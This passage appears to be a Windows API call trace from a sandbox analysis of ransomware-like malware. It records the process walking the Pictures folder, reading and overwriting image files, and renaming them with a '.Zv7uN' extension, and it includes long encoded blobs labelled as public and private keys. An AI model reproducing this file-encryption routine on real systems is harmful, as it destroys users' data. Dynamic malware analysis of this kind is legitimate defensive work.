CcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0085.053] GetCurrentThreadId () returned 0xa30 [0085.053] GetCurrentThreadId () returned 0xa30 [0085.053] GetCurrentThreadId () returned 0xa30 [0085.053] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f4860c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.054] GetCurrentThreadId () returned 0xa30 [0085.054] GetCurrentThreadId () returned 0xa30 [0085.054] GetCurrentThreadId () returned 0xa30 [0085.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\RQwQADR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rqwqadr.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.054] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0085.054] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.054] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x11da6 [0085.055] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.055] ReadFile (in: hFile=0x124, lpBuffer=0x1f50410, nNumberOfBytesToRead=0x11da6, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f50410*, lpNumberOfBytesRead=0x18f96c*=0x11da6, lpOverlapped=0x0) returned 1 [0085.057] CloseHandle (hObject=0x124) returned 1 [0085.059] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\RQwQADR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rqwqadr.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.061] WriteFile (in: hFile=0x124, lpBuffer=0x1f62440*, nNumberOfBytesToWrite=0x11da6, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f62440*, lpNumberOfBytesWritten=0x18f978*=0x11da6, lpOverlapped=0x0) returned 1 [0085.065] CloseHandle (hObject=0x124) returned 1 [0085.066] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\RQwQADR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rqwqadr.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\RQwQADR.gif.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rqwqadr.gif.zv7un")) returned 1 [0085.067] GetCurrentThreadId () returned 0xa30 [0085.067] GetCurrentThreadId () returned 0xa30 [0085.067] GetCurrentThreadId () returned 0xa30 [0085.067] GetCurrentThreadId () returned 0xa30 [0085.067] GetCurrentThreadId () returned 0xa30 [0085.067] GetCurrentThreadId () returned 0xa30 [0085.067] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa976f0, ftCreationTime.dwHighDateTime=0x1d5d89b, ftLastAccessTime.dwLowDateTime=0x1b4d1ac0, ftLastAccessTime.dwHighDateTime=0x1d5e550, ftLastWriteTime.dwLowDateTime=0x1b4d1ac0, ftLastWriteTime.dwHighDateTime=0x1d5e550, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="ZJXH", cAlternateFileName="")) returned 1 [0085.067] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa976f0, ftCreationTime.dwHighDateTime=0x1d5d89b, ftLastAccessTime.dwLowDateTime=0x1b4d1ac0, ftLastAccessTime.dwHighDateTime=0x1d5e550, ftLastWriteTime.dwLowDateTime=0x1b4d1ac0, ftLastWriteTime.dwHighDateTime=0x1d5e550, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="ZJXH", cAlternateFileName="")) returned 0 [0085.067] GetLastError () returned 0x12 [0085.067] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0085.067] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x509e2e20, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x509e2e20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0085.068] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0085.068] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.068] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x509e2e20, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x509e2e20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0085.068] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.068] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.068] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f969380, ftCreationTime.dwHighDateTime=0x1d5db59, ftLastAccessTime.dwLowDateTime=0x148f83a0, ftLastAccessTime.dwHighDateTime=0x1d5e666, ftLastWriteTime.dwLowDateTime=0x50924740, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa93f, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="-CYi6R7bCvIz-.gif.Zv7uN", cAlternateFileName="-CYI6R~1.ZV7")) returned 1 [0085.068] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.068] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.068] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae23fc90, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0x7234ae60, ftLastAccessTime.dwHighDateTime=0x1d5dc05, ftLastWriteTime.dwLowDateTime=0x50970a00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x142cf, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="9_2i.jpg.Zv7uN", cAlternateFileName="9_2IJP~1.ZV7")) returned 1 [0085.068] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.068] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.068] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d00ab0, ftCreationTime.dwHighDateTime=0x1d5d8dd, ftLastAccessTime.dwLowDateTime=0x5af0baa0, ftLastAccessTime.dwHighDateTime=0x1d5e0a1, ftLastWriteTime.dwLowDateTime=0x50996b60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x96fb, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="aFzddHE Qh9x.bmp.Zv7uN", cAlternateFileName="AFZDDH~1.ZV7")) returned 1 [0085.068] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.068] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.068] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.068] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83d83f60, ftCreationTime.dwHighDateTime=0x1d5dda4, ftLastAccessTime.dwLowDateTime=0xbfbf6c30, ftLastAccessTime.dwHighDateTime=0x1d5e1f8, ftLastWriteTime.dwLowDateTime=0xbfbf6c30, ftLastWriteTime.dwHighDateTime=0x1d5e1f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="ITkZucPgXtfuH72ld", cAlternateFileName="ITKZUC~1")) returned 1 [0085.068] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.068] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.068] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83d83f60, ftCreationTime.dwHighDateTime=0x1d5dda4, ftLastAccessTime.dwLowDateTime=0xbfbf6c30, ftLastAccessTime.dwHighDateTime=0x1d5e1f8, ftLastWriteTime.dwLowDateTime=0xbfbf6c30, ftLastWriteTime.dwHighDateTime=0x1d5e1f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0085.069] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83d83f60, ftCreationTime.dwHighDateTime=0x1d5dda4, ftLastAccessTime.dwLowDateTime=0xbfbf6c30, ftLastAccessTime.dwHighDateTime=0x1d5e1f8, ftLastWriteTime.dwLowDateTime=0xbfbf6c30, ftLastWriteTime.dwHighDateTime=0x1d5e1f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0085.069] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21e54a80, ftCreationTime.dwHighDateTime=0x1d5e2c4, ftLastAccessTime.dwLowDateTime=0xf7325fc0, ftLastAccessTime.dwHighDateTime=0x1d5e56c, ftLastWriteTime.dwLowDateTime=0xf7325fc0, ftLastWriteTime.dwHighDateTime=0x1d5e56c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="1ilxsFFPhAmnX", cAlternateFileName="1ILXSF~1")) returned 1 [0085.069] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73b40850, ftCreationTime.dwHighDateTime=0x1d5d9c9, ftLastAccessTime.dwLowDateTime=0x1ba09900, ftLastAccessTime.dwHighDateTime=0x1d5e43f, ftLastWriteTime.dwLowDateTime=0x1ba09900, ftLastWriteTime.dwHighDateTime=0x1d5e43f, nFileSizeHigh=0x0, nFileSizeLow=0xbb1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="drHcU2ILp K.gif", cAlternateFileName="DRHCU2~1.GIF")) returned 1 [0085.069] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0085.069] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.069] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\drHcU2ILp K.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\drhcu2ilp k.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73b40850, ftCreationTime.dwHighDateTime=0x1d5d9c9, ftLastAccessTime.dwLowDateTime=0x1ba09900, ftLastAccessTime.dwHighDateTime=0x1d5e43f, ftLastWriteTime.dwLowDateTime=0x1ba09900, ftLastWriteTime.dwHighDateTime=0x1d5e43f, nFileSizeHigh=0x0, nFileSizeLow=0xbb1)) returned 1 [0085.069] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\drHcU2ILp K.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\drhcu2ilp k.gif")) returned 0x20 [0085.069] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\drHcU2ILp K.gif", dwFileAttributes=0x80) returned 1 [0085.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2